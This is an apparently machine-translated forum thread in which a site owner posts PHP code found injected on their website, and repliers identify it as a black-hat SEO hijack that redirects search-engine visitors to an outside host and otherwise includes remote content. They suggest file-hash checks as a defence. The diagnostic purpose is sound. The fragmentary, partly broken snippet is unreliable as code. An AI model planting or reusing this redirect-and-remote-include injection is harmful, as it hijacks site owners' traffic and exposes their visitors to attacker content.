Ask what this code is for

Source: Internet
Author: User
What is this code for?
PHP Code
  
   
  
   $value) {            if (stristr ($v, $spiders [$i])) {return true;}        }        return false;}    if (Isspider ($_server[' http_referer '))    {    Header ("Location:". ') Http://park.jeanswest.com.cn/news/cache/url/php/zx.php?wanma= '. $_server[' server_name ');        Exit;    } echo file_get_contents (' http://zhanyou.xilu.com/data/temp/baidu/zx/zx.php ');? >


This is being hung on the website.

------Solution--------------------
Judging whether it is from baidu.com/"," google.com "," so "three pages came in. If yes then jump ..., otherwise perform the following file_get_contents ();
------Solution--------------------
The current Black Hat SEO optimization techniques, hijacked your Baidu and Google to route traffic.
------Solution--------------------
It's dark.

Do a function
Check the records for a md5_file file.
Next time md5_file contrast judgment.
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